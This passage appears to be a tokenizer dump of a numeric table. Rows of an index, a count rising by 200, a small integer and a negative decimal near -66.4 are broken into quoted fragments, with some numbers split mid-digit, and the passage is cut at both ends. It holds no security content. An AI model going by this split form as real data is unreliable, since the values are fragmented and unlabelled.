", " ", "196", "2200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "6", "3", " ", ":", " ", " ", " ", " ", "196", "2400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "64", " ", ":", " ", " ", " ", " ", "196", "2600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "6", "5", " ", ":", " ", " ", " ", " ", "196", "2800", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "6", "6", " ", ":", " ", " ", " ", " ", "196", "3000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "6", "7", " ", ":", " ", " ", " ", " ", "196", "3200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "6", "8", " ", ":", " ", " ", " ", " ", "196", "3400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "6", "9", " ", ":", " ", " ", " ", " ", "196", "3600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "7", "0", " ", ":", " ", " ", " ", " ", "196", "380", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "7", "1", " ", ":", " ", " ", " ", " ", "196", "4000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "7", "2", " ", ":", " ", " ", " ", " ", "196", "4200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "7", "3", " ", ":", " ", " ", " ", " ", "196", "440", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "7", "4", " ", ":", " ", " ", " ", " ", "196", "460", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "7", "5", " ", ":", " ", " ", " ", " ", "196", "4800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "7", "6", " ", ":", " ", " ", " ", " ", "196", "5000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "7", "7", " ", ":", " ", " ", " ", " ", "196", "520", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "7", "8", " ", ":", " ", " ", " ", " ", "196", "540", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "7", "9", " ", ":", " ", " ", " ", " ", "196", "560", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "80", " ", ":", " ", " ", " ", " ", "196", "580", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "8", "1", " ", ":", " ", " ", " ", " ", "196", "6000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "8", "2", " ", ":", " ", " ", " ", " ", "196", "620", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "8", "3", " ", ":", " ", " ", " ", " ", "196", "640", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "84", " ", ":", " ", " ", " ", " ", "196", "660", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "85", " ", ":", " ", " ", " ", " ", "196", "680", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "86", " ", ":", " ", " ", " ", " ", "196", "7000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "87", " ", ":", " ", " ", " ", " ", "196", "7200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "88", " ", ":", " ", " ", " ", " ", "196", "740", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "89", " ", ":", " ", " ", " ", " ", "196", "760", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "90", " ", ":", " ", " ", " ", " ", "196", "780", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "9", "1", " ", ":", " ", " ", " ", " ", "196", "800", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "9", "2", " ", ":", " ", " ", " ", " ", "196", "820", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "9", "3", " ", ":", " ", " ", " ", " ", "196", "840", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "9", "4", " ", ":", " ", " ", " ", " ", "196", "860", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "9", "5", " ", ":", " ", " ", " ", " ", "196", "880", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "96", " ", ":", " ", " ", " ", " ", "196", "9000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "9", "7", " ", ":", " ", " ", " ", " ", "196", "9200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "98", " ", ":", " ", " ", " ", " ", "196", "940", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "9", "9", " ", ":", " ", " ", " ", " ", "196", "9600", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "100", " ", ":", " ", " ", " ", " ", "196", "980", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "101", " ", ":", " ", " ", " ", " ", "197", "0000", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "102", " ", ":", " ", " ", " ", " ", "197", "0200", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "103", " ", ":", " ", " ", " ", " ", "197", "0400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "104", " ", ":", " ", " ", " ", " ", "197", "0600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "105", " ", ":", " ", " ", " ", " ", "197", "0800", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "106", " ", ":", " ", " ", " ", " ", "197", "1000", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "107", " ", ":", " ", " ", " ", " ", "197", "1200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "108", " ", ":", " ", " ", " ", " ", "197", "1400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "109", " ", ":", " ", " ", " ", " ", "197", "1600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "110", " ", ":", " ", " ", " ", " ", "197", "1800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "111", " ", ":", " ", " ", " ", " ", "1972", "000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "112", " ", ":", " ", " ", " ", " ", "1972", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "113", " ", ":", " ", " ", " ", " ", "1972", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "114", " ", ":", " ", " ", " ", " ", "1972", "600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "115", " ", ":", " ", " ", " ", " ", "1972", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "116", " ", ":", " ", " ", " ", " ", "197", "3000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "117", " ", ":", " ", " ", " ", " ", "197", "3200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "118", " ", ":", " ", " ", " ", " ", "197", "3400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "119", " ", ":", " ", " ", " ", " ", "197", "3600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "120", " ", ":", " ", " ", " ", " ", "197", "380", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "121", " ", ":", " ", " ", " ", " ", "197", "4000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "122", " ", ":", " ", " ", " ", " ", "197", "4200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "123", " ", ":", " ", " ", " ", " ", "197", "440", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "124", " ", ":", " ", " ", " ", " ", "197", "460", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "125", " ", ":", " ", " ", " ", " ", "197", "4800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "126", " ", ":", " ", " ", " ", " ", "197", "5000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "127", " ", ":", " ", " ", " ", " ", "197", "520", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "128", " ", ":", " ", " ", " ", " ", "197", "540", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "129", " ", ":", " ", " ", " ", " ", "197", "560", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "130", " ", ":", " ", " ", " ", " ", "197", "580", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "131", " ", ":", " ", " ", " ", " ", "197", "6000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "132", " ", ":", " ", " ", " ", " ", "197", "620", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "133", " ", ":", " ", " ", " ", " ", "197", "640", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "134", " ", ":", " ", " ", " ", " ", "197", "660", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "135", " ", ":", " ", " ", " ", " ", "197", "680", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "136", " ", ":", " ", " ", " ", " ", "197", "7000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "137", " ", ":", " ", " ", " ", " ", "197", "7200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "138", " ", ":", " ", " ", " ", " ", "197", "740", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "139", " ", ":", " ", " ", " ", " ", "197", "760", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "140", " ", ":", " ", " ", " ", " ", "197", "780", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "141", " ", ":", " ", " ", " ", " ", "197", "800", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "142", " ", ":", " ", " ", " ", " ", "197", "820", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "143", " ", ":", " ", " ", " ", " ", "197", "840", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "144", " ", ":", " ", " ", " ", " ", "197", "860", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "145", " ", ":", " ", " ", " ", " ", "197", "880", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "146", " ", ":", " ", " ", " ", " ", "1979", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "147", " ", ":", " ", " ", " ", " ", "1979", "200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "148", " ", ":", " ", " ", " ", " ", "1979", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "149", " ", ":", " ", " ", " ", " ", "1979", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "150", " ", ":", " ", " ", " ", " ", "1979", "800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "151", " ", ":", " ", " ", " ", " ", "1980", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "152", " ", ":", " ", " ", " ", " ", "1980", "200", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "153", " ", ":", " ", " ", " ", " ", "1980", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "154", " ", ":", " ", " ", " ", " ", "1980", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "155", " ", ":", " ", " ", " ", " ", "1980", "800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "156", " ", ":", " ", " ", " ", " ", "198", "1000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "157", " ", ":", " ", " ", " ", " ", "198", "1200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "158", " ", ":", " ", " ", " ", " ", "198", "1400", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "159", " ", ":", " ", " ", " ", " ", "198", "1600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "160", " ", ":", " ", " ", " ", " ", "198", "1800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "161", " ", ":", " ", " ", " ", " ", "198", "2000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "162", " ", ":", " ", " ", " ", " ", "198", "2200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "163", " ", ":", " ", " ", " ", " ", "198", "2400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "164", " ", ":", " ", " ", " ", " ", "198", "2600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "165", " ", ":", " ", " ", " ", " ", "198", "2800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "166", " ", ":", " ", " ", " ", " ", "1983", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "167", " ", ":", " ", " ", " ", " ", "1983", "200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "168", " ", ":", " ", " ", " ", " ", "1983", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "169", " ", ":", " ", " ", " ", " ", "1983", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "170", " ", ":", " ", " ", " ", " ", "1983", "800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "171", " ", ":", " ", " ", " ", " ", "1984", "000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "172", " ", ":", " ", " ", " ", " ", "1984", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "173", " ", ":", " ", " ", " ", " ", "1984", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "174", " ", ":", " ", " ", " ", " ", "1984", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "175", " ", ":", " ", " ", " ", " ", "1984", "800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "176", " ", ":", " ", " ", " ", " ", "198", "5000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "177", " ", ":", " ", " ", " ", " ", "198", "520", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "178", " ", ":", " ", " ", " ", " ", "198", "540", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "179", " ", ":", " ", " ", " ", " ", "198", "560", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "180", " ", ":", " ", " ", " ", " ", "198", "580", "0", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "181", " ", ":", " ", " ", " ", " ", "198", "6000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "182", " ", ":", " ", " ", " ", " ", "198", "620", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "183", " ", ":", " ", " ", " ", " ", "198", "640", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "184", " ", ":", " ", " ", " ", " ", "198", "660", "0", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "185", " ", ":", " ", " ", " ", " ", "198", "680", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "186", " ", ":", " ", " ", " ", " ", "1987", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "187", " ", ":", " ", " ", " ", " ", "1987", "200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "188", " ", ":", " ", " ", " ", " ", "1987", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "189", " ", ":", " ", " ", " ", " ", "1987", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "190", " ", ":", " ", " ", " ", " ", "1987", "800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "191", " ", ":", " ", " ", " ", " ", "1988", "000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "192", " ", ":", " ", " ", " ", " ", "1988", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "193", " ", ":", " ", " ", " ", " ", "1988", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "194", " ", ":", " ", " ", " ", " ", "1988", "600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "195", " ", ":", " ", " ", " ", " ", "1988", "800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "196", " ", ":", " ", " ", " ", " ", "1989", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "197", " ", ":", " ", " ", " ", " ", "1989", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "198", " ", ":", " ", " ", " ", " ", "1989", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "199", " ", ":", " ", " ", " ", " ", "1989", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "200", " ", ":", " ", " ", " ", " ", "1989", "800", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "201", " ", ":", " ", " ", " ", " ", "1990", "000", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "202", " ", ":", " ", " ", " ", " ", "1990", "200", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "203", " ", ":", " ", " ", " ", " ", "1990", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "204", " ", ":", " ", " ", " ", " ", "1990", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "205", " ", ":", " ", " ", " ", " ", "1990", "800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "206", " ", ":", " ", " ", " ", " ", "1991", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "207", " ", ":", " ", " ", " ", " ", "1991", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "208", " ", ":", " ", " ", " ", " ", "1991", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "209", " ", ":", " ", " ", " ", " ", "1991", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "210", " ", ":", " ", " ", " ", " ", "1991", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "211", " ", ":", " ", " ", " ", " ", "1992", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "212", " ", ":", " ", " ", " ", " ", "1992", "200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "213", " ", ":", " ", " ", " ", " ", "1992", "400", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "214", " ", ":", " ", " ", " ", " ", "1992", "600", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "215", " ", ":", " ", " ", " ", " ", "1992", "800", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "216", " ", ":", " ", " ", " ", " ", "1993", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "217", " ", ":", " ", " ", " ", " ", "1993", "200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "218", " ", ":", " ", " ", " ", " ", "1993", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "219", " ", ":", " ", " ", " ", " ", "1993", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "220", " ", ":", " ", " ", " ", " ", "1993", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "221", " ", ":", " ", " ", " ", " ", "1994", "000", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "222", " ", ":", " ", " ", " ", " ", "1994", "200", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "223", " ", ":", " ", " ", " ", " ", "1994", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "224", " ", ":", " ", " ", " ", " ", "1994", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "225", " ", ":", " ", " ", " ", " ", "1994", "800", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "226", " ", ":", " ", " ", " ", " ", "1995", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "227", " ", ":", " ", " ", " ", " ", "1995", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "228", " ", ":", " ", " ", " ", " ", "1995", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "229", " ", ":", " ", " ", " ", " ", "1995", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "230", " ", ":", " ", " ", " ", " ", "1995", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "231", " ", ":", " ", " ", " ", " ", "1996", "000", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "232", " ", ":", " ", " ", " ", " ", "1996", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "233", " ", ":", " ", " ", " ", " ", "1996", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "234", " ", ":", " ", " ", " ", " ", "1996", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "235", " ", ":", " ", " ", " ", " ", "1996", "800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "236", " ", ":", " ", " ", " ", " ", "1997", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "237", " ", ":", " ", " ", " ", " ", "1997", "200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "238", " ", ":", " ", " ", " ", " ", "1997", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "239", " ", ":", " ", " ", " ", " ", "1997", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "240", " ", ":", " ", " ", " ", " ", "1997", "800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "241", " ", ":", " ", " ", " ", " ", "199", "800", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "242", " ", ":", " ", " ", " ", " ", "199", "820", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "243", " ", ":", " ", " ", " ", " ", "199", "840", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "244", " ", ":", " ", " ", " ", " ", "199", "860", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "245", " ", ":", " ", " ", " ", " ", "199", "880", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "246", " ", ":", " ", " ", " ", " ", "1999", "000", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "247", " ", ":", " ", " ", " ", " ", "1999", "200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "248", " ", ":", " ", " ", " ", " ", "1999", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "249", " ", ":", " ", " ", " ", " ", "1999", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "250", " ", ":", " ", " ", " ", " ", "1999", "800", " ", ":", " ", " ", "642", " ", ":", " ", "-", 